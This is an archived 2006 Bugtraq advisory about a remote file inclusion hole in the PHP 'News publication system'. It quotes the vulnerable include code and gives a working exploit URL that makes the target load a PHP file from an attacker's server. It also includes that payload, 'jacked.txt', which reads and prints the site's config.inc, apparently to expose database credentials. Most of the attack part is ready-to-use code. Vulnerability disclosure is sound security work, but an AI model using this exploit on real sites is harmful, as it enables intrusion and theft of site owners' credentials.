lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20061107150232.8337.qmail@securityfocus.com>
Date: 7 Nov 2006 15:02:32 -0000
From: navairum@...il.com
To: bugtraq@...urityfocus.com
Subject: News publication system remote File include

Software: News publication system
--------------------------------
Description: News publication system provides a mechanism for news blocks publication on site in conformity with rules and templates set. Provides a mechanism for adding news to the system and news management. Provides a mechanism for system management functions access control.
------------------------------------
Site: http://sourceforge.net/project/showfiles.php?group_id=27445
-----------------------------------------------------------

The variable $path in class.Database.php isn't defined before it is included.  Register_Globals must be on.

Vulnerable Code:

if ($path!="")
  include $path."config.inc";
else
include "../config.inc";
-----------------------------
Exploit
http://[SITE]/newsp/lib/class.Database.php?path=http://[your server]/jacked.txt?
------------------------------
Jacked.txt

<?php
$file='../config.inc';
$handle=fopen($file,'r');
while(!feof($handle))
{
if($handle)
{
$data = fgets($handle,filesize($file));
$data.='<br>';
}
else
{
echo 'handle failed';
}
echo $data;
}
exit(0);
?>

Navairum
legalize it

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ